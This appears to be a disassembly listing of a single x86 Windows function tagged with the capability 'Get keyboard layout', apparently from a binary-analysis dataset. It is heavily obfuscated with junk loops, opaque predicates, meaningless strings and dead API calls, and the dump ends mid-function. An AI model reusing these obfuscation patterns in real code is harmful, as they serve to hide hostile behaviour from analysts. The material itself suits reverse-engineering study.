Function at 0x1001b0e5
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005c6e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xab4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2b8], 0xd6c05baf
mov dword [ebp - 0x8bc], 0x963ab194
mov dword [ebp - 0x8f0], 8
mov dword [ebp - 0x93c], 0x9598aaf0
mov dword [ebp - 0x8c4], 0x3d7f1912
mov dword [ebp - 0x940], 0xffffffff
mov dword [ebp - 0x8cc], 0
mov dword [ebp - 0x948], 0x51dd2e9
mov dword [ebp - 0x8d4], 0x8aac1e0f
mov dword [ebp - 0x974], 0xffffffff
mov dword [ebp - 0x8dc], 0xd9964374
mov dword [ebp - 0x7f0], 0xfffffffd
mov dword [ebp - 0x7ec], 0xfffffffd
mov dword [ebp - 0x7e8], 0xfffffffd
mov dword [ebp - 0x7e4], 0xfffffffd
mov dword [ebp - 0x280], 0
jmp 0x1001b1b9
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x1001b1d5
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x9e4], 0x352601c8
jmp 0x1001b1ac
mov dword [ebp - 0x2b8], 5
jmp 0x1001b1ee
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x15
jl 0x1001b3dd
mov dword [ebp - 0x94c], 1
mov dword [ebp - 0x8e4], 0xdd93ba6
mov dword [ebp - 0x40], 0
jmp 0x1001b21f
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jge 0x1001b235
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x550], 0
jmp 0x1001b218
mov dword [ebp - 0x40], 0
jmp 0x1001b245
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x1001b25b
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x7a4], 0x3248c66f
jmp 0x1001b23e
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7a4], 0
jmp 0x1001b289
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7a4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7a4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7a4], 0
jl 0x1001b3d8
mov dword [ebp - 0xbc], 0x6e6f7fbf
mov dword [ebp - 0x998], 0x3203bd65
mov dword [ebp - 0x8ec], 0xfad5befa
mov dword [ebp - 0x954], 0xfffffffb
mov dword [ebp - 0x8f4], 0x6d7d0454
mov dword [ebp - 0x1c], 0
jmp 0x1001b2df
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001b2f5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa70], 0xe491ba6b
jmp 0x1001b2d8
mov dword [ebp - 0x1c], 0
jmp 0x1001b305
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001b31b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xac4], 0x193fe696
jmp 0x1001b2fe
mov dword [ebp - 0x1c], 0
jmp 0x1001b32b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001b341
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa7c], 2
jmp 0x1001b324
mov dword [ebp - 0xbc], 0
jmp 0x1001b35a
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x1001b3b8
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x550], 0xe32cf41
jl 0x1001b382
mov dword [ebp - 0x338], 1
jmp 0x1001b389
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x550], ecx
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x1001b3b6
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x1001b34d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7f0], eax
jmp 0x1001b26e
jmp 0x1001b1e1
mov dword [ebp - 0x3c], 0x394643cd
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x558], 0x7836
mov dword [ebp - 0x6f8], str.javh_mgmo_clqmdkic_mbomnftm_obgvtultz_krrapvbxs_bkjib_nklbi_gmwisiya_zakebj_cywczlfj_faer_ksbad
cmp dword [ebp - 0x558], 0x7a91
jle 0x1001b485
and dword [ebp - 0x2ac], 0
jmp 0x1001b424
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x2ba8
jge 0x1001b485
and dword [ebp - 0x150], 0
jmp 0x1001b446
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x2c29
jge 0x1001b483
mov eax, dword [ebp - 0x2ac]
or eax, dword [ebp - 0x150]
cdq
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], edx
push dword [ebp - 0x624]
push dword [ebp - 0x628]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001b439
jmp 0x1001b417
and dword [ebp - 4], 0
cmp dword [ebp - 0x558], 0x74b9
jge 0x1001b4a5
mov edx, dword [ebp - 0x6f8]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001b4c1
or dword [ebp - 4], 0xffffffff
jmp 0x1001b4cb
mov dword [ebp - 0x97c], 0xeda8ed40
mov dword [ebp - 0x26c], 0
jmp 0x1001b4ee
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x1001b50a
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x60c], 0x9fcfbce0
jmp 0x1001b4e1
mov byte [ebp - 0x81], 0
movzx eax, byte [ebp - 0x81]
test eax, eax
je 0x1001b52b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jl 0x1001b53f
mov dword [ebp - 0x560], 1
jmp 0x1001b546
and dword [ebp - 0x560], 0
cmp dword [ebp - 0x560], 0
je 0x1001b5aa
cmp dword [ebp - 0x3c], 0
jne 0x1001b564
cmp dword [ebp - 0x3c], 0
jne 0x1001b564
and dword [ebp - 0x58c], 0
jmp 0x1001b56e
mov dword [ebp - 0x58c], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x8fc], eax
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x95c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x3c], 0
je 0x1001b5aa
mov dword [ebp - 0x604], 1
jmp 0x1001b5b1
and dword [ebp - 0x604], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x60c], 0xe13a
cmp dword [ebp - 0x3c], 0xe13a
je 0x1001b5d7
mov dword [ebp - 0x548], 1
jmp 0x1001b5de
and dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x548]
jl 0x1001b5f5
mov dword [ebp - 0x4f4], 1
jmp 0x1001b5fc
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x3c], eax
cmp dword [0x100b7398], 0
jne 0x1001f679
mov dword [ebp - 0x334], 0xa15
mov dword [ebp - 0x73c], str.xgdkt_apsh_opiwlf_pwdfetant_pqfv_vkm_serwoh_tiqjk_uiuhers_ifsqv
cmp dword [ebp - 0x334], 0xace
jle 0x1001b6ac
and dword [ebp - 0x158], 0
jmp 0x1001b648
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x758e
jge 0x1001b6ac
and dword [ebp - 0x230], 0
jmp 0x1001b66a
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x7337
jge 0x1001b6aa
mov eax, dword [ebp - 0x158]
cdq
idiv dword [ebp - 0x230]
mov eax, edx
cdq
mov dword [ebp - 0x634], eax
mov dword [ebp - 0x630], edx
push dword [ebp - 0x630]
push dword [ebp - 0x634]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001b65d
jmp 0x1001b63b
mov dword [ebp - 0xec], 0x801897a4
mov dword [ebp - 0x9b4], 0
mov dword [ebp - 0x54], 0
jmp 0x1001b6d0
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x1001b6e6
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x7b8], 0xfffd
jmp 0x1001b6c9
mov dword [ebp - 0x54], 0
jmp 0x1001b6f6
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x1001b70c
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x61c], 0xfffa
jmp 0x1001b6ef
mov dword [ebp - 0xec], 1
jmp 0x1001b725
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x1001b8db
mov dword [ebp - 0x324], 0xd3ecf04
mov dword [ebp - 0x160], 0
jmp 0x1001b755
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x1001b771
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0xd0], 0xedc7555b
jmp 0x1001b748
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd0], 0
jmp 0x1001b79f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd0], 1
jg 0x1001b8c1
mov dword [ebp - 0xfc], 0x14173bf3
mov dword [ebp - 0x614], 0x32c5b641
mov dword [ebp - 0xfc], 0
jmp 0x1001b7e0
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jg 0x1001b8bc
mov eax, 0xfff6
test eax, eax
je 0x1001b892
mov eax, 0xb5f0b101
test eax, eax
je 0x1001b892
mov dword [ebp - 0x324], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
cmp eax, dword [ebp - 0x324]
jge 0x1001b832
mov dword [ebp - 0x45c], 1
jmp 0x1001b839
and dword [ebp - 0x45c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd0]
mov eax, dword [ebp + eax*4 - 0x7b8]
cmp eax, dword [ebp - 0x45c]
je 0x1001b867
cmp dword [ebp - 0xec], 0
jne 0x1001b867
and dword [ebp - 0x32c], 0
jmp 0x1001b871
mov dword [ebp - 0x32c], 1
cmp dword [ebp - 0x32c], 0xfc36fe5
jge 0x1001b886
cmp dword [ebp - 0xfc], 0
je 0x1001b892
mov dword [ebp - 0x544], 1
jmp 0x1001b899
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x614], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x61c], 0
je 0x1001b8b7
jmp 0x1001b8bc
jmp 0x1001b7d3
jmp 0x1001b784
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7b8], 0
je 0x1001b8d6
jmp 0x1001b718
jmp 0x1001b718
mov byte [ebp - 0xac], 0
movzx eax, byte [ebp - 0xac]
test eax, eax
je 0x1001b901
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x334], 0x64e
jge 0x1001b924
mov edx, dword [ebp - 0x73c]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001b940
or dword [ebp - 4], 0xffffffff
jmp 0x1001b94a
mov dword [ebp - 0x824], 1
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x1001b971
push 0xb78
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0x464], 0x4e4c
mov dword [ebp - 0x744], str.mtzwgkxfk_kxfwvr_vweeqmub_tygzskhcw_yjko_lmhcvjfh_sdxvt
cmp dword [ebp - 0x464], 0x5035
jle 0x1001ba85
and dword [ebp - 0x238], 0
jmp 0x1001b9ab
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x8d4
jge 0x1001ba6f
and dword [ebp - 0x270], 0
jmp 0x1001b9d1
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x893
jge 0x1001ba6a
and dword [ebp - 0x168], 0
jmp 0x1001b9f7
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x6da4
jge 0x1001ba65
and dword [ebp - 0x170], 0
jmp 0x1001ba19
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x4eb7
jge 0x1001ba63
mov eax, dword [ebp - 0x270]
imul eax, dword [ebp - 0x168]
or eax, dword [ebp - 0x238]
or eax, dword [ebp - 0x170]
cdq
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], edx
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001ba0c
jmp 0x1001b9ea
jmp 0x1001b9c4
jmp 0x1001b99e
push 0
push 0
push 0x328
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x1001bab9
push 0
push 0
push 0x1111
push 0
push 0x284
push 0
push 0x754
push 0x732
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], 4
cmp dword [ebp - 0x464], 0x4c5a
jge 0x1001badc
mov edx, dword [ebp - 0x744]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001baf8
or dword [ebp - 4], 0xffffffff
jmp 0x1001bb02
mov dword [ebp - 0x82c], 5
mov dword [ebp - 0x834], 0
mov dword [ebp - 0x83c], 0x8905b8b7
mov dword [ebp - 0x844], 0x7c7008b1
mov dword [ebp - 0x4fc], 0
mov dword [ebp - 0x6c], 0
jmp 0x1001bb44
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x1001bb5a
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x7b0], 0x7ddc85f7
jmp 0x1001bb3d
mov dword [ebp - 0x6c], 0
jmp 0x1001bb6a
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x1001bb80
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x84c], 0x4a90c6d2
jmp 0x1001bb63
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7b0], 0
jmp 0x1001bbae
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7b0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x7b0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7b0], 0x1c
jge 0x1001be09
mov dword [ebp - 0x854], 0xffffffff
mov dword [ebp - 0x85c], 0x52c58fb7
mov dword [ebp - 0x8f8], 0x48afa2fa
mov dword [ebp - 0x900], 0x62ee6d05
mov dword [ebp - 0x908], 0xfffffffd
mov dword [ebp - 0x33c], 0x2077
mov dword [ebp - 0x74c], str.alqmacxw_rut_lehde_szxghb_mukdb_tqowz
cmp dword [ebp - 0x33c], 0x21ce
jle 0x1001bd5b
push 0x2182
push 0x1508
push 0x25b3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xa33
push 0x1d8c
push 0x67a
push 0x20ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
and dword [ebp - 0x180], 0
jmp 0x1001bc73
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x6023
jge 0x1001bd37
and dword [ebp - 0x278], 0
jmp 0x1001bc99
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x7cae
jge 0x1001bd32
and dword [ebp - 0x178], 0
jmp 0x1001bcbf
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x7502
jge 0x1001bd2d
and dword [ebp - 0x240], 0
jmp 0x1001bce1
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x581a
jge 0x1001bd2b
mov eax, dword [ebp - 0x278]
imul eax, dword [ebp - 0x178]
add eax, dword [ebp - 0x240]
and eax, dword [ebp - 0x180]
cdq
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], edx
push dword [ebp - 0x648]
push dword [ebp - 0x64c]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001bcd4
jmp 0x1001bcb2
jmp 0x1001bc8c
jmp 0x1001bc66
push 0x46c
push 0
push 0
push 0
push 0
push 0x46d
push 0x137b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
mov dword [ebp - 0x910], 0x7e780ca9
mov dword [ebp - 4], 6
cmp dword [ebp - 0x33c], 0x1d3f
jge 0x1001bd88
mov edx, dword [ebp - 0x74c]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001bda4
or dword [ebp - 4], 0xffffffff
jmp 0x1001bdae
mov dword [ebp - 0x918], 0x214a9bac
mov dword [ebp - 0x950], 0x8ab9c279
mov dword [ebp - 0x148], 0
jmp 0x1001bddb
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x1001bdf7
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0xa1c], 0x3631e19e
jmp 0x1001bdce
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
jmp 0x1001bb93
mov byte [ebp - 0x128], 4
mov byte [ebp - 0x127], 0x29
mov byte [ebp - 0x126], 6
mov byte [ebp - 0x125], 0x56
mov byte [ebp - 0x124], 3
mov byte [ebp - 0x123], 0x5d
mov byte [ebp - 0x122], 1
mov byte [ebp - 0x121], 0xb
mov byte [ebp - 0x120], 9
mov byte [ebp - 0x11f], 1
mov byte [ebp - 0x11e], 4
mov byte [ebp - 0x11d], 0xde
mov byte [ebp - 0x11c], 0xca
mov byte [ebp - 0x11b], 0x1a
mov byte [ebp - 0x11a], 0xb0
mov byte [ebp - 0x119], 5
mov byte [ebp - 0x118], 8
mov byte [ebp - 0x117], 8
mov byte [ebp - 0x116], 0x42
mov byte [ebp - 0x115], 0xb
mov byte [ebp - 0x114], 0x42
mov byte [ebp - 0x113], 2
mov byte [ebp - 0x112], 0x1e
mov byte [ebp - 0x111], 0
mov byte [ebp - 0x110], 0x39
mov byte [ebp - 0x10f], 0xa
mov byte [ebp - 0x10e], 0x27
mov byte [ebp - 0x10d], 7
mov byte [ebp - 0x10c], 0x5e
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x128]
and eax, 0x4c
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x128]
or ecx, 0x4c
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x128]
mov word [ebp + eax*2 - 0x81c], cx
mov dword [ebp - 0x198], 0xfffffff8
mov dword [ebp - 0x570], 0x66ed
mov dword [ebp - 0x5c8], str.xux_wqzk_zplozvm_fehrlvx_xlimq_shytydn_etj_freqmndl_wejbxxzu
cmp dword [ebp - 0x570], 0x6779
jle 0x1001c018
and dword [ebp - 0x190], 0
jmp 0x1001bf52
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x44be
jge 0x1001c018
and dword [ebp - 0x288], 0
jmp 0x1001bf78
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x4081
jge 0x1001c013
and dword [ebp - 0x188], 0
jmp 0x1001bf9e
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x8f8
jge 0x1001c00e
and dword [ebp - 0x248], 0
jmp 0x1001bfc0
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x20fd
jge 0x1001c00c
mov eax, dword [ebp - 0x188]
xor eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x190]
imul ecx, dword [ebp - 0x288]
or eax, ecx
cdq
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], edx
push dword [ebp - 0x654]
push dword [ebp - 0x658]
mov ecx, 0x100761b8
call fcn.100062df
jmp 0x1001bfb3
jmp 0x1001bf91
jmp 0x1001bf6b
jmp 0x1001bf45
mov dword [ebp - 0x198], 0
jmp 0x1001c031
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x17
jg 0x1001c20e
mov dword [ebp - 0x1a0], 0x1f665683
mov dword [ebp - 0x6bc], 0xffffffff
mov dword [ebp - 0x2c8], 1
mov dword [ebp - 0xe0], 0x72b5725d
mov dword [ebp - 0x250], 0
jmp 0x1001c07f
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x1001c09b
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x868], 0x8ceef9a8
jmp 0x1001c072
mov dword [ebp - 0x1a0], 0xfffffff2
jmp 0x1001c0b4
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xffffffe9
jne 0x1001c209
mov dword [ebp - 0x5fc], 0x91f6f49c
mov dword [ebp - 0x290], 0
jmp 0x1001c0e4
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 3
jge 0x1001c100
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x928], 0x30cc2fdc
jmp 0x1001c0d7
cmp dword [ebp - 0xe0], 0
je 0x1001c11e
mov eax, 0x7296
test eax, eax
je 0x1001c11e
mov dword [ebp - 0x75c], 1
jmp 0x1001c125
and dword [ebp - 0x75c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x928], 0
je 0x1001c145
xor eax, eax
je 0x1001c145
mov dword [ebp - 0x718], 1
jmp 0x1001c14c
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0xe0], 0xf7c8b166
jb 0x1001c17c
mov dword [ebp - 0x344], 1
jmp 0x1001c183
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x344]
mov edx, dword [ebp - 0x2c8]
inc edx
mov dword [ebp - 0x2c8], edx
cmp eax, ecx
jl 0x1001c1b2
cmp dword [ebp - 0x5fc], 0
jne 0x1001c1b2
and dword [ebp - 0x46c], 0
jmp 0x1001c1bc
mov dword [ebp - 0x46c], 1
cmp dword [ebp - 0x46c], 1
jle 0x1001c1d1
mov dword [ebp - 0x34c], 1
jmp 0x1001c1d8
and dword [ebp - 0x34c], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0xe0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe0]
add ecx, dword [ebp + eax - 0x868]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x928], ecx
jmp 0x1001c0a7
jmp 0x1001c024
mov dword [ebp - 4], 8
cmp dword [ebp - 0x570], 0x6652
jge 0x1001c231
mov edx, dword [ebp - 0x5c8]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001c24d
or dword [ebp - 4], 0xffffffff
jmp 0x1001c257
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1001c27a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [ebp - 0x20], 2
and dword [ebp - 0x29c], 0
jmp 0x1001c292
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
jae 0x1001d21c
mov dword [ebp - 0x2e8], 0x3b6182ea
mov dword [ebp - 0x258], 0x69f4981f
mov dword [ebp - 0x304], 0xfffffffa
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x2f0], 1
mov dword [ebp - 0x1a8], 0
jmp 0x1001c2e4
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 2
jge 0x1001c300
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x7d0], 0x1bb30b13
jmp 0x1001c2d7
cmp dword [ebp - 0x2e8], 1
jle 0x1001c315
mov dword [ebp - 0x354], 1
jmp 0x1001c31c
and dword [ebp - 0x354], 0
mov eax, dword [ebp - 0x258]
imul eax, dword [ebp - 0x354]
mov dword [ebp - 0x304], eax
mov eax, 0x6c21
test eax, eax
je 0x1001c348
xor eax, eax
je 0x1001c348
mov dword [ebp - 0x474], 1
jmp 0x1001c34f
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x474], eax
jg 0x1001c369
mov dword [ebp - 0x35c], 1
jmp 0x1001c370
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x35c]
sub eax, 3
cmp dword [ebp - 0x2e8], eax
jge 0x1001c38d
mov dword [ebp - 0x504], 1
jmp 0x1001c394
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2e8]
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x2f0]
je 0x1001c68a
xor eax, eax
inc eax
jne 0x1001c68a
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x30], 0xe183a099
mov dword [ebp - 0x968], 0xdcdcbd5f
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x258]
jle 0x1001c3ed
mov dword [ebp - 0x364], 1
jmp 0x1001c3f4
and dword [ebp - 0x364], 0
cmp dword [ebp - 0x364], 0xfffffff9
ja 0x1001c409
mov dword [ebp - 0x47c], 1
jmp 0x1001c410
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x47c], eax
jg 0x1001c42a
mov dword [ebp - 0x36c], 1
jmp 0x1001c431
and dword [ebp - 0x36c], 0
cmp dword [ebp - 0x36c], 0x55b6
jne 0x1001c449
mov dword [ebp - 0x54c], 1
jmp 0x1001c450
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x54c], eax
jg 0x1001c467
mov dword [ebp - 0x760], 1
jmp 0x1001c46e
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
je 0x1001c48b
mov dword [ebp - 0x374], 1
jmp 0x1001c492
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x374]
jle 0x1001c4a9
mov dword [ebp - 0x484], 1
jmp 0x1001c4b0
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1001c4d4
cmp dword [ebp - 0x304], 0
je 0x1001c4d4
mov dword [ebp - 0x37c], 1
jmp 0x1001c4db
and dword [ebp - 0x37c], 0
cmp dword [ebp - 0x37c], 0xc42ff18c
jae 0x1001c4f3
mov dword [ebp - 0x50c], 1
jmp 0x1001c4fa
